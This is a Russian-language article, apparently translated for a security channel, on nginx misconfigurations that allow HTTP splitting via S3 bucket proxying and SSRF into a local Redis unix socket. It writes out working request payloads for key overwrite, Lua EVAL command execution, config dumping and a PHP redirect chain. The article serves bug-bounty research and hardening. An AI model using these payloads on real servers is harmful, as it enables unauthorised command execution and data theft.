Приручаем Redis. Как сдампить базу данных через мисконфиг в Nginx

Приручаем Redis. Как сдампить базу данных через мисконфиг в Nginx

@cybred

В прошлом году мы изучили разные мидлвары у прокси-серверов и балансировщиков нагрузки. Результаты оказались довольно интересными, - об одних находках мы уже знали, а с другими столкнулись впервые. Поэтому мы бы хотели поделиться тем, что нашли. Награды за прошлые обнаруженные ошибки позволяют нам проводить такие масштабные исследования, вроде этого. Благодаря нему мы обнаружили, что многие из наших находок можно встретить в реальной жизни. Проект под названием Gixy, созданный Яндексом, нашел множество из этих мисконфигов, но не все.

Итак, начнем.

Эксплуатация HTTP Splitting с помощью облачного хранилища

HTTP Splitting не является чем-то новым и уже неоднократно рассматривалась ранее. Эта уязвимость также является частью чеклиста OWASP. Тем не менее, мы наблюдаем растущее число сервисов, проксирующих статический контент с помощью Google Cloud Storage и AWS S3, в /media/, /images/, /sitemap/ и другие location'ы. Если разработчики не позаботились о написании качественных регулярок, они приведут к старому доброму HTTP Splitting'у. Сервисы облачного хранения, которые смотрят на заголовок Host чтобы решить, из какого бакета возвращать данные, являются идеальными кандидатами для того, чтобы использовать их за прокси-сервером.

Допустим, у вас есть некий сервис, и вы хотите использовать прокси для статического контента по определенным путям. В качестве примера можно привести мультимедийные ресурсы, размещенные в S3, или документацию в разделе yourdomain.com/docs/.

Одна из конфигураций, которую вы можете сделать (подсказка: не делайте), может выглядеть следующим образом:

location ~ /docs/([^/]*/[^/]*)? {
  proxy_pass https://bucket.s3.amazonaws.com/docs-website/$1.html;
}

С ней любой запрос с параметрами, которые идут после yourdomain.com/docs/, будет перенаправлен в S3. Например, такой:

https://bucket.s3.amazonaws.com/docs-website/help/contact-us.html;

Проблема с этим регулярным выражением заключается в том, что оно допускает переводы строк по умолчанию, благодаря [^/]*. И когда текст, подходящий под регулярку, будет передан в proxy_pass, к нему применится функция urldecode. Это означает, что следующий запрос:

GET /docs/%20HTTP/1.1%0d%0aHost:non-existing-bucket1%0d%0a%0d%0a HTTP/1.1
Host: yourdomain.com

На самом деле будет направлен в S3:

GET /docs-website/ HTTP/1.1
Host:non-existing-bucket1

.html HTTP/1.0
Host: bucket.s3.amazonaws.com

Где S3 обратится к бакету с именем non-existing-bucket1. Ответ в таком случае будет следующим:

Мы нашли этот баг несколько раз, участвуя в Bug Bounty-программах. Благодаря нему, мы можем заинжектить собственное содержимое в любой контент на главном домене:

Gixy выявляет проблему, когда регулярное выражение в location допускает переводы строк. Но встречаются и другие случаи, когда Gixy не знает, какое влияние оказывает возможность контролировать части путей. Мы встречали проблемы с nginx-конфигами, такими как:

location ~ /images([0-9]+)/([^s]+) {
  proxy_pass https://s3.amazonaws.com/companyname-images$1/$2;
}

В данном случае компания использовала несколько бакетов, которые проксировались с location'ов/images1/, /images2/ и так далее (на каждый - свой бакет). Поскольку регулярное выражение допускает любое число, инкрементирование его в URL-адресе позволило бы нам создать новую корзину и обслуживать в ней наш контент, как в урле yourcompany.com/images999999/

Манипуляция проксируемым хостом

В некоторых конфигурациях с использованием регулярных выражений, path используется как часть имени хоста для прокси-сервера, например:

location ~ /static/(.*)/(.*) {
proxy_pass  http://$1-example.s3.amazonaws.com/$2;
}

Если мы перейдем по адресу yourdomain.com/static/js/, то проксирование будет в бакет js-example. Или возьмем yourdomain.com/static/js/app-1555347823-min.js, запрос в бакет будет следующим

http://js-example.s3.amazonaws.com/app-1555347823-min.js;

Поскольку то, в какой бакет будет отправлен запрос, контролируется злоумышленником, это приводит к XSS, но может привести и к более серьезным последствиям.

Функция proxy_pass в Nginx поддерживает проксирование запросов к локальным unix-сокетам. Вы можете указать не просто http://, но и добавить к нему unix:/, а дальше - указать путь к конкретному сокету:

Это означает, что примере, который мы упоминали выше, мы могли бы заставить proxy_pass подключиться к локальному unix-сокету и отправить в него какие-нибудь данные. Влияние этого варьируется в зависимости от того, что прослушивается на сокете, но во многих случаях оно далеко не безвредно.

Давайте рассмотрим, как такая настройка может быть использована для отправки и получения произвольных команд в/из redis, размещенного на локальном unix-сокете.

Существующие меры по устранению рисков

Атаки SSRF/XSPA на Redis не являются чем-то новым, и команда Redis приняла меры по их предотвращению. Условия, описанные далее, заставят Redis закрыть соединение и остановить синтаксический анализ команды:

  1. Строка начинается с POST
  2. Строка начинается с Host:

Первый кейс устраняет классический сценарий, в котором злоумышленник использует тело запроса для отправки команд. Второй - любые атаки с пэйлоадом, идущим после заголовка Host. Однако, если бы мы могли каким-то образом использовать первую строку запроса для отправки команд в Redis, то мы бы обошли эти защитные механизмы.

Чтобы проверить, возможно ли это, мы настроили локальный Unix-сокет с помощью socat и nginx с мисконфигом:

$ socat UNIX-LISTEN:/tmp/mysocket STDOUT

location ~ /static/(.*)/(.*.js) {
    proxy_pass   http://$1-example.s3.amazonaws.com/$2;
}

Отправляем запрос:

GET /static/unix:%2ftmp%2fmysocket:TEST/app-1555347823-min.js HTTP/1.1
Host: example.com

socat получает следующее

GET TEST-example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close

Что здесь произошло? Давайте разбираться:

  1. Полный proxy_pass URI становится http://unix:/tmp/mysocket:TEST-example.s3.amazonaws.com/app-1555347823-min.js
  2. Первая часть данных, отправляемых в сокет, — это метод GET отправленного HTTP-запроса
  3. Вторая часть — это данные, которые мы указали как TEST
  4. Третья часть - захардкоженная строка -example.s3.amazonaws.com/
  5. Четвертая часть — это имя запрошенного файла, в данном случае app-1555347823-min.js

Отлично! Но сможем ли мы указать конкретную команду, а правую часть закомментировать?

Что ж, к сожалению, в Redis нет комментариев, а это означает, что, несмотря на то, что мы можем вставлять пробелы, чтобы сделать части строки аргументами команды, Redis очень строг в отношении ввода и дополнительных аргументов.

Нам не повезло, мы не можем использовать тело запроса, поскольку это заставит Redis разорвать соединение и остановить атаку.

Перезапись ключей в Redis

К счастью, команды Redis, принимающие переменное количество аргументов, существуют. MSET может принимать разное количество ключей и значений:

MSET key1 "Hello" key2 "World"
GET key1
“Hello”
GET key2
“World”

Другими словами, мы можем использовать такой запрос, чтобы перезаписать значение любого ключа

MSET /static/unix:%2ftmp%2fmysocket:hacked%20%22true%22%20/app-1555347823-min.js HTTP/1.1
Host: example.com

В результате, сокет получит следующие данные:

MSET hacked "true" -example.s3.amazonaws.com/app-1555347823-min.js 
HTTP/1.0
Host: localhost
Connection: close

Давайте проверим, создался ли ключ hacked

127.0.0.1:6379> get hacked
"true"

Прекрасно! Мы убедились в том, что можем перезаписывать любые ключи. Но как насчет выполнения команд, которые не принимают переменное количество аргументов?

Выполнение произвольной команды Redis

Поищем в Google: the Redis EVAL command.

Оказывается, что команда EVAL в Redis тоже принимает переменное количество аргументов:

  1. Первым аргументом EVAL является скрипт, написанный на Lua 5.1.
  2. Второй аргумент EVAL — это количество аргументов, следующих за скриптом (начиная с третьего).
  3. Третий аргумент EVAL - это сами аргументы, которые мы хотим передать в скрипт.

Мы также можем выполнять EVAL-команды в Redis, используя две разные функции Lua:

  • redis.call()
  • redis.pcall()

Давайте попробуем использовать EVAL, чтобы перезаписать конфигурационный ключ maxclients:

EVAL
/static/unix:%2ftmp%2fmysocket:%22return%20redis.call('config','set','maxclients',1337)%22%200%20/app-1555347823-min.js 
Host: example.com

Сокет получит следующее:

EVAL "return redis.call('config','set','maxclients',1337)" 0 -example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close

Проверяем ключ maxclients:

127.0.0.1:6379> config get maxclients
1) "maxclients"
2) "1337"

Ура! Мы можем выполнять произвольные команды в Redis. И последняя проблема. Ни одна из этих команд не отвечает корректным HTTP-ответом, и Nginx не пересылает результат выполнения команды клиенту, а вместо этого выдает общую ошибку 502 Bad Gateway.

Так как же извлечь данные?

Чтение вывода Redis

К нашему удивлению, мы можем избежать ошибки 502, просто поместив строку HTTP/1.0 200 OK в любое место ответа. Тогда вывод Redis перенаправится клиенту. Даже если это не первая строка ответа!

Чтобы ответ от Redis всегда содержал эту строку, мы можем использовать конкатенацию в Lua-скрипте.

Пример извлечения ответа из команды CONFIG GET *

EVAL /static/unix:%2ftmp%2fmysocket:'return%20(table.concat(redis.call("config","get","*"),"n").."%20HTTP/1.1%20200%20OKrnrn")'%200%20/app-1555347823-min.js HTTP/1.1
Host: example.com

Сокет получает

EVAL 'return (table.concat(redis.call("config","get","*"),"n").." HTTP/1.1 200 OKrnrn")' 0 -example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close

И вывод пересылается клиенту

Последовательные редиректы

Теперь мы можем сделать еще один шаг вперед. Если вы хотите, чтобы nginx сам переходил по редиректам, а не отдавал их клиенту, то такой настройки не существует. Но умельцы со StackOverflow нашли костыльный способ: (подсказка: не следует воспринимать их совет всерьез):

location ~ /images(.*) {
    proxy_intercept_errors on;
    proxy_pass   http://example.com$1;
    error_page 301 302 307 303 = @handle_redirects;
}


location @handle_redirects {
    set $original_uri $uri;
    set $orig_loc $upstream_http_location;
    proxy_pass $orig_loc;
}

Эти конфиги говорят о том, что хост, на который мы проксируем запрос, вернет 301, nginx использует заголовок location, чтобы передать его другому proxy_pass внутри @handle_redirects. Получается, что мы можем контроллировать весь proxy_pass, если существует Open Redirect, и снова заинжектить unix-сокет:

error_page 404 405 =301 @405;
location @405 {
  try_files /index.php?$args /index.php?$args;
}


<?
header('Location: http://unix:/tmp/redis.sock:'return (table.concat(redis.call("config","get","*"),"n").." HTTP/1.1 200 OKrnrn")' 1 ', true, 301);

Доступ к внутренним Nginx-блокам

Используя заголовок ответа X-Accel-Redirect, мы можем сделать внутренний редирект в Nginx для обслуживания другого конфигурационного блока, даже такого, который помечен директивой internal:

location /internal_only/ {
  internal;
  root /var/www/html/internal/;
}

Доступ к локальным Nginx-блокам с ограниченным доступом

Используя хостнейм 127.0.0.1, мы можем сделать так, чтобы Nginx проксировал запросы, которые можно открыть только с localhost:

location /localhost_only/ {
    deny all;
    allow 127.0.0.1;
    root /var/www/html/internal/;
}

Заключение

Мидлвары играют решающую роль в современных веб-приложения. Тем не менее, повсеместность и полезность мидлвар означает, что существуют потенциальные ловушки, которых следует избегать, особенно если вы использует такие решения, как nginx.


Оригинал статьи на английском языке.

Переведено и адаптировано специально для @cybred.

Report Page